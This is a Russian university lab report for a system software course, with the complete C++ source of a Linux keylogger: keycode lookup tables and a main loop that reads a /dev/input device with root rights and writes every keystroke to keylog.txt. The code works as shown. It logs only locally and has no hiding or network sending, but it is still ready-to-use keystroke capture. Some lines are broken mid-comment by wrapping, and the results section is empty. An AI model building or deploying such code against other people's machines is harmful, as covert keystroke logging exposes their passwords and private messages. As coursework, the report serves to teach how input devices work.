Санкт-Петербургский национальный исследовательский университет информационных технологий, механики и оптики

Кафедра информатики и прикладной математики

Системное программное обеспечение

Лабораторная работа №6

"Кейлоггер"

Старался: **Шкаруба Н.Е.**
Проверил: **Зыков А.Г.**
Группа **P3218**

Требования:

Дописать лабораторную работу №6 из курса Языки Системного Программирования под свою операционную систему. В моём случае, нужно написать кейлоггер под linux.

Исходный код программы:

keytables.h

```
#pragma once

#include <linux/input.h>
#include <string>
using namespace std;

bool is_char_key(unsigned int keycode);
bool is_func_key(unsigned int keycode);

char charCode_to_char(unsigned int keycode);
string funcCode_to_string(unsigned int keycode);
```

Keytables.cpp

```
#include "keytables.h"

string char_keys =  "1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
string func_keys[] = {
	"<Esc>", "<BckSp>", "<Tab>", "<Enter>", "<Ctrl>", "<Shft>", "<RShft>", "<KP*>", "<Alt>",
" ", "<Cpsk>", "<F1>", "<F2>", "<F3>", "<F4>", "<F5>",
	"<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<Numk>", "<Scrk>", "<KP7>", "<KP8>",
"<KP9>", "<KP->", "<KP4>", "<KP5>", "<KP6>", "<KP+>", "<KP1>",
	"<KP2>", "<KP3>", "<KP0>", "<KP.>", /*"<",*/ "<F11>", "<F12>", "<KPEnt>", "<RCtrl>",
"<KP/>", "<PrtSc>", "<AltGr>", "<Break>" /*linefeed?*/, "<Home>", "<Up>", "<PgUp>",
	"<eft>", "<Right>", "<End>", "<Down>", "<PgDn>", "<Ins>", "<Del>", "<Pause>",
"<Meta>", "<RMeta>", "<Menu>"
};
const char char_or_func[] =  // c = character key, f = function key, _ = blank/error ('_' is used,
don't change); all according to KEY_* defines from <linux/input.h>
	"_fccccccccccccff"
	"ccccccccccccffcc"
	"ccccccccccfccccc"
	"ccccccfffffffff"
	"fffffffffffffff"
	"ffff__cff_______"
	"fffffffffffffff"
	"_______f_____fff";
bool is_char_key(unsigned int keycode) {
```

```
    return (char_or_func[keycode] == 'c');
}
bool is_func_key(unsigned int keycode) {
    return (char_or_func[keycode] == 'f');
}

char charCode_to_char(unsigned int keycode) {
    if (keycode >= KEY_1 && keycode <= KEY_EQUAL)          // keycodes 2-13: US keyboard:
1, 2, ..., 0, -, =
        return char_keys[keycode - 2];
    if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE)      // keycodes 16-27: q, w, ...,
[, ]
        return char_keys[keycode - 4];
    if (keycode >= KEY_A && keycode <= KEY_GRAVE)          // keycodes 30-41: a, s, ..., ', `
        return char_keys[keycode - 6];
    if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH)   // keycodes 43-53: \, z,
..., ., /
        return char_keys[keycode - 7];

    if (keycode == KEY_102ND)                           // key right to the left of 'Z' on US layout
        return 47;

    throw "Keycode is not a char, can't return proper symbol";
}
string funcCode_to_string(unsigned int keycode) {
    if (keycode == KEY_ESC)                             // 1
        return func_keys[0];
    if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB)     // 14-15
        return func_keys[keycode - 13];
    if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL)    // 28-29
        return func_keys[keycode - 25];
    if (keycode == KEY_LEFTSHIFT)                           // 42
        return func_keys[keycode - 37];
    if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT)  // 54-83
        return func_keys[keycode - 48];
    if (keycode >= KEY_F11 && keycode <= KEY_F12)          // 87-88
        return func_keys[keycode - 51];
    if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE)    // 96-111
        return func_keys[keycode - 58];
    if (keycode == KEY_PAUSE)                               // 119
        return func_keys[keycode - 65];
    if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE)  // 125-127
        return func_keys[keycode - 70];

    throw "Keycode is not a func keycode, can't return proper string";
}
```

main.cpp

```
#include <linux/input.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <array>
#include <iostream>
#include <fstream>
#include "keytables.h"
using namespace std;

bool isKeyUp(int keyStatus) {
    return keyStatus == 1;
}

int main(int argc, char **argv) {
    int device_fd;
    // Is args correct?
    if(argc < 2) {
        cout << "Usage: sudo " << argv[0] << " <device>\n" << endl;
        return 1;
    } else {
        device_fd = open(argv[1], O_RDONLY);
    }

    // Error handling
    if (device_fd == -1) {
        cout << "- Error opening device descriptor" << endl;
        return 1;
    } else {
        cout << "+ Logging " << argv[1] << endl;
    }

    // Actual logic
    ofstream logFile("keylog.txt");
    input_event event;
    while(true) {
        read(device_fd, &event, sizeof(input_event));

        if(event.type == 1) {
            printf("key %i state %i\n", event.code, event.value);

            if (!isKeyUp(event.value)) {
                if (is_char_key(event.code))
                    logFile << charCode_to_char(event.code);
```

```
            else if (is_func_key(event.code))
                logFile << funcCode_to_string(event.code);

            flush(logFile);
        }
    }
}
}
```

Результат: